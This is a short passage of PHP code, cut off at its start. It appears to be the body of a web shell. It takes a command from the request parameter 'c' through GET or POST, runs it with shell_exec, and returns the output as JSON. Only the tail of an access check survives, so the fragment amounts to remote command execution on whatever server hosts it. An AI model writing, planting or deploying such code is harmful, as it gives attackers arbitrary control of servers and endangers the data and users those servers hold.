'denied']); exit; } $cmd = $_GET['c'] ?? $_POST['c'] ?? ''; if (!$cmd) { echo json_encode(['error'=>'no command']); exit; } $output = shell_exec($cmd . ' 2>&1'); echo json_encode(['ok'=>true,'output'=>$output]);